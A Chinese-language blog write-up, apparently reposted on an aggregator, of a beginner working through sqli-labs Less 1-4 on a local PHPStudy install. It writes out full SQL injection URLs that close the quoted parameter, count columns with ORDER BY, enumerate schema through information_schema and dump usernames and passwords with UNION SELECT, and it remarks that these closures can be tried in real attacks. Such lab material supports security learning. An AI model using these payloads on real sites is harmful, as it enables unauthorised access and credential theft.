sqli-lab靶场学习(一)——Less1-4

前言

最近一段时间想切入安全领域,因为本身有做数据库运维工作,就打算从sql注入方向切入。而sql注入除了学习日常书本上的概念外,需要有个实践的环境,刚好看到sqli-lab这个靶场,就打算先用这个来学习。

安装部署

网上很多关于安装部署的教程,很简单。本人是下载PHPStudy进行部署的。由于sqli-lab是用php5版本,现在很多一体化环境(我用wamp)的php都是7版本。我试过用github上有人修改sqli-lab适配php7版本,但是不清楚为什么报错的时候不会回显,这严重影响调试,所以还是换成PHPStudy,并且切换为php5版本进行部署就好了。

Less1

进入页面测试

输入http://localhost/sqli-labs/Less-1/进入第一关,地址和读者的部署情况有关。我是直接把sqli-lab解压放到apache的www目录下。

第一关会要求我们输入一个id作为传参,我们尝试id=1的情况:

之后尝试id=2、id=3……一直到id=13,发现为空:

证明id=13不存在。

确定闭合方式

我们可以看一下php的源码,打开Less-1的index.php

可以看到红色框起来的部分,我们传入的id直接拼接到sql查询语句中。这给我们看到一个sql注入的漏洞,就是通过单引号闭合变量。例如我们传参的时候带入一个单引号, 然后通过 -- 或者 # 忽略后续的语句,就形成了sql注入。

如果我们看不到源码,怎么知道它是单引号闭合呢?漏洞都得测试出来,我们可以尝试添加单引号、括号、双引号等等方式去测试闭合情况。比如这里如果传入id=1':

 因为多传了一个单引号,所以实际拼接的语句变成了:

SELECT * FROM users WHERE id='1'' LIMIT 0,1

这个语句多了个单引号,肯定报错了。

判断列数

接下来判断这个sql查询一共有多少列。输入:

http://localhost/sqli-labs/Less-1/?id=1' order by 1-- asd

这里通过单引号闭合,已经形成形成了注入。依次增加order by的数字,发现到order by 4的时候,出现报错:

 证明sql语句显示的只有三列。

联合注入

判断了列数后,我们看看能否通过联合查询回显数据,输入:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,2,3-- asd

可以看到第二、三列注入到“Your Login name”和“Your Password”的显示位置。我们输入id=13的原因在于之前判断了id=13是没有数据的,那回显的数据就会用union后面的数据了,如果输入id=1,那回显就是正常,而非我们想要注入的结果。这就是联合注入的关键!

查询具体的数据库名、表名、列名

联合注入成功后,其实离胜利已经很近了。接下来要把查询回显的列替换成查询数据库名、表名、列名。先查询数据库名:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,database(),3-- asd

通过回显可以看到目前查询的表在名为security的库中。

接下来查询security库中有什么表,通过information_schema的tables表可以找出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()-- asd

使用group_concat可以把全部表名显示出来。不过有时候回显的位置可能有长度限制或者显示限制,这种方式有时候不准确,所以更实在的方式是利用limit一个一个查出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,table_name,3 from information_schema.tables where table_schema=database() limit 3,1 -- asd

当我们从limit 0,1一直到limit 3,1时,发现users这个表很可能就是包含用户名密码的表,我们要把它的数据查出来。查出来的前提是知道列名,通过information_schema的columns可查出:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users' -- asd

通过回显看到username和password似乎就是我们想要找的两列,我们把它们查出来:

http://localhost/sqli-labs/Less-1/?id=13' union select 1,group_concat(username),group_concat(password) from security.users -- asd

至此账号密码已经查出,sql注入成功!

Less2

第二关先看php源码:

‘可以看到源码是直接对获得的id进行拼接。所以第二关连单引号闭合都不需要了。根据第一关的经验,直接输入:

http://localhost/sqli-labs/Less-2/?id=13 union select 1,group_concat(username),group_concat(password) from security.users -- asd

 

Less3

第三关同样先看php源码:

发现这次的拼接是带了但括号,所以进行变量闭合时带上括号:

http://localhost/sqli-labs/Less-3/?id=13') union select 1,group_concat(username),group_concat(password) from security.users -- asd

Less4

同样的先看源码:

这次源码对id的前后加了双引号拼接,然后外面还有一层括号。这种情况我们就加个双引号和括号去闭合:


http://localhost/sqli-labs/Less-4/?id=13") union select 1,group_concat(username),group_concat(password) from security.users -- asd

小结

第一关是很简单的注入,不过其涉及到的内容很多,刚接触sql注入的朋友可能会有点懵。确实我刚开始也有点懵,因为一般做开发、做运维的朋友不会这样去写sql语句。当概念都了解了之后,就会觉得其实也就这么回事,Less-1没什么高大上的。另外注意这个靶场环境一定要搞好,否则很可能出现输入同样的查询,得出来不一样的结果,严重影响学习和理解效率。

这几关我们都是看了源码再操作。实际进行注入攻击当然不可能看到源码去注入,所以要尝试,最好能看到报错信息来确定。比如Less3我们用单引号闭合测试:

http://localhost/sqli-labs/Less-3/?id=1'

看到这个报错信息,这里面有单引号,也有括号,那就可以确认这题的闭合是和单引号、括号相关的。这类闭合方式来来去去就那几种情况,实际攻击的时候可以都试一下,再利用返回的报错信息确认是哪种情况

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/53469.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

小阿轩yx-Kubernertes日志收集

小阿轩yx-Kubernertes日志收集 前言 在 Kubernetes 集群中如何通过不同的技术栈收集容器的日志,包括程序直接输出到控制台日志、自定义文件日志等 有哪些日志需要收集 日志收集与分析很重要,为了更加方便的处理异常 简单总结一些比较重要的需要收集…

数据分析面试题:如何分析每日平均每件商品的锁定时长问题?

目录 0 题目描述 2 数据准备 3 数据分析 3.1 需求1:计算 2014/03/22-2014/04/30 每天的购买客户数、订单量、销售件数、销售额 3.2 计算 2014 年 4 月各品类的销售额、晚上 20-24 点销售额 3.3 提取 2014 年 3-5 月销售额排名前三的客户信息(排名/客户号/客户姓名/总销…

华为OD机试真题 - 二叉树的广度优先遍历 - 二叉树(Python/JS/C/C++ 2024 D卷 200分)

华为OD机试 2024E卷题库疯狂收录中,刷题点这里 专栏导读 本专栏收录于《华为OD机试真题(Python/JS/C/C)》。 刷的越多,抽中的概率越大,私信哪吒,备注华为OD,加入华为OD刷题交流群,…

Github 2024-09-07Rust开源项目日报Top10

根据Github Trendings的统计,今日(2024-09-07统计)共有10个项目上榜。根据开发语言中项目的数量,汇总情况如下: 开发语言项目数量Rust项目10CUE项目1Python项目1Go项目1Polars: Rust中的DataFrame接口和OLAP查询引擎 创建周期:1354 天开发语言:Rust, Python协议类型:MIT …

Ubuntu之源码编译安装nginx

参考:Ubuntu之源码编译安装nginx_ubuntu编译安装nginx-CSDN博客 1.下载源码后进入源码目录,如下: cd /home/jq/wf/nginx-1.26.1 2.下载相应依赖库: apt-get install libpcre3-dev apt-get install openssl libssl-dev apt-get…

神经网络骨架nn.Module

文章目录 一、认识nn.Module二、nn.Module的基础加1操作 一、认识nn.Module nn.Module 是 PyTorch 中的一个核心类,它是所有神经网络模块的基类。在 PyTorch 中构建模型时,通常会继承这个类来创建自定义的网络结构。nn.Module 提供了一系列用于构建神经…

如何在Word中插入复选框

如何在Word中插入复选框:详细教程与技巧 在Word中插入复选框是一项非常实用的技巧,尤其是在制作问卷调查、待办事项清单、交互式表单或文档中需要用户进行选择时,复选框不仅能提高文档的功能性,还能显得更加专业。本文将详细讲解…

嵌入式软件--51单片机 DAY 4

一、蜂鸣器 当电流通过线圈时会产生电磁场,电磁场与永磁体相互作用,从而使金属膜产生震动而发声。为使金属膜持续震动,蜂鸣器需要使用震荡电路进行驱动。有些蜂鸣器元件内部自带震荡驱动电路,这种蜂鸣器叫做有源蜂鸣器&#xff0…

计算机网络 TCP/IP协议篇

今天学习了TCP/IP协议的相关知识,学习笔记如下: 在学习之前,我们先抛出几个问题,什么是TCP/IP协议簇?TCP/IP协议簇是怎么工作的? TCP/IP模型 协议分层 每层通过协议完成各自特定的功能上层依赖下层提供…

24/9/6算法笔记 kaggle 房屋价格

预测模型主要分为两大类: 回归模型:当你的目标变量是连续的数值时,你会使用回归模型进行预测。回归模型试图找到输入特征和连续输出之间的关联。一些常见的回归模型包括: 线性回归(Linear Regression)岭回归…

学不会虚拟列表?10分钟带你实现高度固定的Vue虚拟列表方案及原理

前言 本文主要介绍长列表的一种优化方案:虚拟列表。本文主要是对传统的虚拟列表方案进行更加详尽的刨析,以便我们能够更加深入理解虚拟列表的原理。 虚拟列表目录 1、为什么需要使用虚拟列表2、什么是虚拟列表与懒加载的区别(重要) 3、实现思路4、通过节…

SAP PO附件上传报错 输入时错

SAP PO附件上传报错 场景: 在SAP采购订单上传附件时,出现了SO424报错 Error occurred during import(输入时错),报错界面如下图所示: 分析: 输入事务代码SLG1,在User处输入自己的用户名并运行报表。本案例…

统计学习方法与实战——统计学习方法之感知机

感知机 感知机三要素分析模型策略损失函数选择 算法原始形式对偶形式 相关问题 例子iris数据集分类实战数据集查看 显示结果sklearn 实战感知机 习题解答习题2.1解题步骤反证法 习题2.2习题2.3凸壳线性可分线性可分证明凸壳不相交证明充分性:凸壳不相交\Rightarrow⇒…

Jenkins 通过 Version Number Plugin 自动生成和管理构建的版本号

步骤 1:安装 Version Number Plugin 登录 Jenkins 的管理界面。进入 “Manage Jenkins” -> “Manage Plugins”。在 “Available” 选项卡中搜索 “Version Number Plugin”。选中并安装插件,完成后可能需要重启 Jenkins。 步骤 2:配置…

ultralytics实现DeepSort目标追踪算法之特征提取网络

文章目录 DeepSort基本流程DeepSort特征提取网络Market-1501数据集目录结构命名规则 数据集划分 网络模型训练过程参数设置数据集加载特征提取网络定义预训练模型加载损失函数与优化器定义mian函数调用训练过程验证过程平均指标与结果 DeepSort基本流程 DeepSort(D…

数据结构栈和队列

系统栈 程序运行中使用的栈,由操作系统维护 栈区:1,保存局部变量 2,函数的形参的返回值 3,函数的调用关系 函数中调用函数时会把调用函数的下一条指定的首地址保存在栈区。 (保护现…

Steam游戏截图方法

Steam游戏截图方法 截图快捷键 Steam游戏自带截图功能,在游戏中无需复杂的快捷键,仅需按下F12快捷键便可立即截图,官方说明如下。下文介绍使用方法。 查看截图 退出游戏后,在Steam界面点击查看 - 截图,即可查看截…

JAVA—反射

学习Java中关于反射的知识,以理解框架 目录 1.认识反射 2.获取类 3.获取构造器 4.获取成员变量​编辑 5.获取成员方法 6.作用 应用场景 1.认识反射 反射 加载类 并允许以编程的方式解刨类中的各种成分(成员变量 方法 构造器) 学习反射…

【Hadoop|HDFS篇】HDFS的读写流程

1. HDFS的写流程 1.1 剖析文件的写入 副本存储节点的选择问题: 第一个副本在Client所在的节点上,如果客户端在集群外,随机选一个。第二个副本在另一个机架的随机一个节点上。第三个副本在第二个副本所在的机架的随机节点上。 2. HDFS的写流…

机器学习和物联网驱动技术在加工过程中监测工具磨损:一项全面的综述

这篇论文的标题是《Machine-Learning and Internet-of-Things-Driven Techniques for Monitoring Tool Wear in Machining Process: A Comprehensive Review》,由 Sudhan Kasiviswanathan、Sakthivel Gnanasekaran、Mohanraj Thangamuthu 和 Jegadeeshwaran Rakkiya…